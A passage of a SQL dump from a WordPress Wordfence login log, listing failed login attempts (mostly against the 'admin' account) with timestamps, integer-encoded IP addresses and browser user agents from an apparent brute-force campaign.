(103032, 1499283203.777068, 1, 'loginFailInvalidUsername', 'venez', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103033, 1499283206.704944, 1, 'loginFailInvalidUsername', 'outils', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103034, 1499283209.591894, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103035, 1499287229.058750, 1, 'loginFailInvalidUsername', 'test', 0, 1510259739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103036, 1499287376.367332, 1, 'loginFailInvalidUsername', 'test', 0, 700942233, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103037, 1499288020.994276, 1, 'loginFailInvalidUsername', 'test', 0, 2972363085, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103038, 1499288022.291306, 1, 'loginFailInvalidUsername', 'test', 0, 2972363085, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103039, 1499288234.756128, 1, 'loginFailValidUsername', 'admin', 1, 1539836950, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.86.33 (KHTML, like Gecko) Version/5.2.7 Safari/530.79'),
(103040, 1499289731.550508, 1, 'loginFailInvalidUsername', 'test', 0, 2969840026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103041, 1499289733.126717, 1, 'loginFailInvalidUsername', 'test', 0, 2969840026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103042, 1499291455.966708, 1, 'loginFailInvalidUsername', 'test', 0, 88311441, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103043, 1499291456.958788, 1, 'loginFailInvalidUsername', 'test', 0, 88311441, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103044, 1499297543.454904, 1, 'loginFailInvalidUsername', 'test', 0, 3192026254, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103045, 1499297544.880779, 1, 'loginFailInvalidUsername', 'test', 0, 3192026254, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103046, 1499299063.871731, 1, 'loginFailInvalidUsername', 'test', 0, 2374533419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101635, 1497941478.298102, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101634, 1497940682.356521, 1, 'loginFailValidUsername', 'admin', 1, 3185066879, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101633, 1497940681.039044, 1, 'loginFailValidUsername', 'admin', 1, 3185066879, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101632, 1497939979.060337, 1, 'loginFailValidUsername', 'admin', 1, 623782850, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101631, 1497939977.726518, 1, 'loginFailValidUsername', 'admin', 1, 623782850, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101630, 1497934846.345095, 1, 'loginFailValidUsername', 'admin', 1, 2576789288, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101629, 1497934844.621558, 1, 'loginFailValidUsername', 'admin', 1, 2576789288, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101628, 1497934557.279718, 1, 'loginFailValidUsername', 'admin', 1, 3411518045, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101627, 1497934555.376557, 1, 'loginFailValidUsername', 'admin', 1, 3411518045, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101626, 1497934102.292808, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101625, 1497932238.711257, 1, 'loginFailValidUsername', 'admin', 1, 1851650026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101624, 1497932237.267951, 1, 'loginFailValidUsername', 'admin', 1, 1851650026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101623, 1497927346.858767, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101622, 1497926129.637171, 1, 'loginFailValidUsername', 'admin', 1, 1733567786, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101621, 1497925775.711731, 1, 'loginFailValidUsername', 'admin', 1, 2982565155, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101620, 1497925567.579673, 1, 'loginFailValidUsername', 'admin', 1, 3207991142, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101619, 1497924894.199151, 1, 'loginFailValidUsername', 'admin', 1, 3188734267, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101618, 1497924892.521833, 1, 'loginFailValidUsername', 'admin', 1, 3188734267, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101617, 1497924132.896087, 1, 'loginFailValidUsername', 'admin', 1, 3132336926, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101616, 1497924131.041494, 1, 'loginFailValidUsername', 'admin', 1, 3132336926, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101615, 1497921904.657259, 1, 'loginFailValidUsername', 'admin', 1, 3206613788, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101614, 1497921903.033998, 1, 'loginFailValidUsername', 'admin', 1, 3206613788, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101613, 1497920410.292719, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101612, 1497919538.486161, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539837019, 'Mozilla/5.0 (Windows NT 5.0; rv:52.59.06) Gecko/20147688 Firefox/52.59.06'),
(101611, 1497918637.930056, 1, 'loginFailValidUsername', 'admin', 1, 2946425103, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101610, 1497918262.947451, 1, 'loginFailValidUsername', 'admin', 1, 1442664703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101609, 1497915130.773160, 1, 'loginFailValidUsername', 'admin', 1, 1378444814, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101608, 1497915129.765064, 1, 'loginFailValidUsername', 'admin', 1, 1378444814, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101607, 1497914651.818608, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101606, 1497914109.219188, 1, 'loginFailValidUsername', 'admin', 1, 3036335114, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101605, 1497914107.498086, 1, 'loginFailValidUsername', 'admin', 1, 3036335114, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101604, 1497909038.767959, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101603, 1497906915.361471, 1, 'loginFailValidUsername', 'admin', 1, 2172307143, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101601, 1497904286.637883, 1, 'loginFailValidUsername', 'admin', 1, 657710900, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101600, 1497904275.014534, 1, 'loginFailValidUsername', 'admin', 1, 657710900, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101599, 1497903452.907161, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101598, 1497900878.343282, 1, 'loginFailValidUsername', 'admin', 1, 3302842753, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101597, 1497900869.967022, 1, 'loginFailValidUsername', 'admin', 1, 3302842753, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101596, 1497899152.728534, 1, 'loginFailValidUsername', 'admin', 1, 1082719650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101595, 1497899151.575606, 1, 'loginFailValidUsername', 'admin', 1, 1082719650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101594, 1497898058.335024, 1, 'loginFailValidUsername', 'admin', 1, 2969046206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101593, 1497898057.375828, 1, 'loginFailValidUsername', 'admin', 1, 2969046206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101592, 1497897924.393857, 1, 'loginFailValidUsername', 'admin', 1, 3523560779, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101591, 1497897922.841072, 1, 'loginFailValidUsername', 'admin', 1, 3523560779, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101590, 1497897647.669914, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101589, 1497897223.824803, 1, 'loginFailValidUsername', 'admin', 1, 1451215676, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101588, 1497895651.629394, 1, 'loginFailValidUsername', 'admin', 1, 2959119668, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101587, 1497895650.638165, 1, 'loginFailValidUsername', 'admin', 1, 2959119668, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101586, 1497893796.717329, 1, 'loginFailValidUsername', 'admin', 1, 3134715766, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101585, 1497893795.329684, 1, 'loginFailValidUsername', 'admin', 1, 3134715766, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101584, 1497892612.438210, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_58_00) AppleWebKit/534.06.69 (KHTML, like Gecko) Chrome/53.6.1894.7166 Safari/530.77 Edge/34.73456'),
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(101582, 1497892068.731566, 1, 'loginFailValidUsername', 'admin', 1, 3374681884, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101580, 1497892058.960403, 1, 'loginFailValidUsername', 'admin', 1, 2536057826, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101578, 1497890300.364106, 1, 'loginFailValidUsername', 'admin', 1, 1332056195, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101577, 1497888974.366263, 1, 'loginFailValidUsername', 'admin', 1, 1546189087, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101576, 1497888973.310523, 1, 'loginFailValidUsername', 'admin', 1, 1546189087, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101575, 1497886873.693566, 1, 'loginFailValidUsername', 'admin', 1, 1547655939, 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0'),
(101574, 1497885149.391001, 1, 'loginFailValidUsername', 'admin', 1, 3184579739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101573, 1497885148.189889, 1, 'loginFailValidUsername', 'admin', 1, 3184579739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101572, 1497883496.565198, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101571, 1497878659.023638, 1, 'loginFailValidUsername', 'admin', 1, 702767257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101570, 1497878657.866059, 1, 'loginFailValidUsername', 'admin', 1, 702767257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101569, 1497875007.134157, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101568, 1497874937.376640, 1, 'loginFailValidUsername', 'admin', 1, 3124507901, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101567, 1497873221.733387, 1, 'loginFailValidUsername', 'admin', 1, 2087222324, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101566, 1497873220.072275, 1, 'loginFailValidUsername', 'admin', 1, 2087222324, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101565, 1497872316.290601, 1, 'loginFailValidUsername', 'admin', 1, 3400735281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101564, 1497872315.035908, 1, 'loginFailValidUsername', 'admin', 1, 3400735281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101563, 1497871252.049081, 1, 'loginFailValidUsername', 'admin', 1, 1598837055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101562, 1497871250.992216, 1, 'loginFailValidUsername', 'admin', 1, 1598837055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101561, 1497870468.439081, 1, 'loginFailValidUsername', 'admin', 1, 1730750354, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101560, 1497870467.086511, 1, 'loginFailValidUsername', 'admin', 1, 1730750354, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101559, 1497867333.139238, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101558, 1497863766.914280, 1, 'loginFailValidUsername', 'admin', 1, 832027457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101557, 1497863765.330435, 1, 'loginFailValidUsername', 'admin', 1, 832027457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101556, 1497863503.011135, 1, 'loginFailValidUsername', 'admin', 1, 1133349610, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101555, 1497863499.718753, 1, 'loginFailValidUsername', 'admin', 1, 1133349610, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101554, 1497862850.279874, 1, 'loginFailValidUsername', 'admin', 1, 657191032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101553, 1497862848.078248, 1, 'loginFailValidUsername', 'admin', 1, 657191032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101552, 1497862232.524739, 1, 'loginFailValidUsername', 'admin', 1, 1768588169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101551, 1497862231.278049, 1, 'loginFailValidUsername', 'admin', 1, 1768588169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101550, 1497860855.481398, 1, 'loginFailValidUsername', 'admin', 1, 1800251650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101549, 1497860853.359739, 1, 'loginFailValidUsername', 'admin', 1, 1800251650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101548, 1497860565.172845, 1, 'loginFailValidUsername', 'admin', 1, 1330590301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101547, 1497860564.083855, 1, 'loginFailValidUsername', 'admin', 1, 1330590301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101546, 1497855076.137590, 1, 'loginFailValidUsername', 'admin', 1, 1976268809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101545, 1497855074.468349, 1, 'loginFailValidUsername', 'admin', 1, 1976268809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101544, 1497853662.954699, 1, 'loginFailValidUsername', 'admin', 1, 1301920624, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101543, 1497853661.919966, 1, 'loginFailValidUsername', 'admin', 1, 1301920624, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101542, 1497852201.290922, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101541, 1497851289.517297, 1, 'loginFailValidUsername', 'admin', 1, 3414166908, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101540, 1497851288.355051, 1, 'loginFailValidUsername', 'admin', 1, 3414166908, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101539, 1497851093.503823, 1, 'loginFailValidUsername', 'admin', 1, 2970345110, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101538, 1497848749.227761, 1, 'loginFailValidUsername', 'admin', 1, 1732021588, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101537, 1497848747.653203, 1, 'loginFailValidUsername', 'admin', 1, 1732021588, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101536, 1497848343.955567, 1, 'loginFailValidUsername', 'admin', 1, 827164163, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101535, 1497848342.552092, 1, 'loginFailValidUsername', 'admin', 1, 827164163, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101533, 1497846596.383892, 1, 'loginFailValidUsername', 'admin', 1, 1539837014, ''),
(101534, 1497846596.474711, 1, 'loginFailValidUsername', 'admin', 1, 1539837014, ''),
(101532, 1497846558.968506, 1, 'loginFailValidUsername', 'admin', 1, 1675930294, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101531, 1497845621.639627, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3147914882, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101530, 1497845620.443946, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3147914882, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101529, 1497845267.783811, 1, 'loginFailValidUsername', 'admin', 1, 2970227750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101528, 1497845266.413367, 1, 'loginFailValidUsername', 'admin', 1, 2970227750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101527, 1497845227.091679, 1, 'loginFailValidUsername', 'admin', 1, 19492457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101526, 1497845225.362301, 1, 'loginFailValidUsername', 'admin', 1, 19492457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101302, 1497640048.140562, 1, 'loginFailValidUsername', 'admin', 1, 3132885100, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101301, 1497640045.002112, 1, 'loginFailValidUsername', 'admin', 1, 3132885100, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101300, 1497638425.525701, 1, 'loginFailValidUsername', 'admin', 1, 1416458501, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101299, 1497638424.444764, 1, 'loginFailValidUsername', 'admin', 1, 1416458501, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101298, 1497637109.148622, 1, 'loginFailValidUsername', 'admin', 1, 778264191, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101297, 1497637108.167585, 1, 'loginFailValidUsername', 'admin', 1, 778264191, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101296, 1497636753.840860, 1, 'loginFailValidUsername', 'admin', 1, 1562720498, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101295, 1497636752.865306, 1, 'loginFailValidUsername', 'admin', 1, 1562720498, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101294, 1497634230.538174, 1, 'loginFailValidUsername', 'admin', 1, 1333917890, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101293, 1497634229.463666, 1, 'loginFailValidUsername', 'admin', 1, 1333917890, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101292, 1497633295.703369, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101291, 1497633038.706508, 1, 'loginFailValidUsername', 'admin', 1, 3065501688, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101290, 1497633037.008418, 1, 'loginFailValidUsername', 'admin', 1, 3065501688, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101289, 1497632322.764317, 1, 'loginFailValidUsername', 'admin', 1, 3389598256, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101288, 1497632321.376899, 1, 'loginFailValidUsername', 'admin', 1, 3389598256, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101287, 1497629656.828776, 1, 'loginFailValidUsername', 'admin', 1, 762807321, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101286, 1497629655.585200, 1, 'loginFailValidUsername', 'admin', 1, 762807321, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101285, 1497625981.008136, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101284, 1497620115.601845, 1, 'loginFailValidUsername', 'admin', 1, 2660020164, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101283, 1497620114.008868, 1, 'loginFailValidUsername', 'admin', 1, 2660020164, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101282, 1497618067.866352, 1, 'loginFailValidUsername', 'admin', 1, 3111507721, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C)'),
(101281, 1497617885.440669, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101280, 1497610745.054482, 1, 'loginFailValidUsername', 'admin', 1, 1332036734, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101279, 1497610744.087001, 1, 'loginFailValidUsername', 'admin', 1, 1332036734, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101278, 1497610649.195363, 1, 'loginFailValidUsername', 'admin', 1, 2192896078, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101277, 1497610219.278669, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101276, 1497602806.844579, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101275, 1497599574.640353, 1, 'loginFailValidUsername', 'admin', 1, 1476942175, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
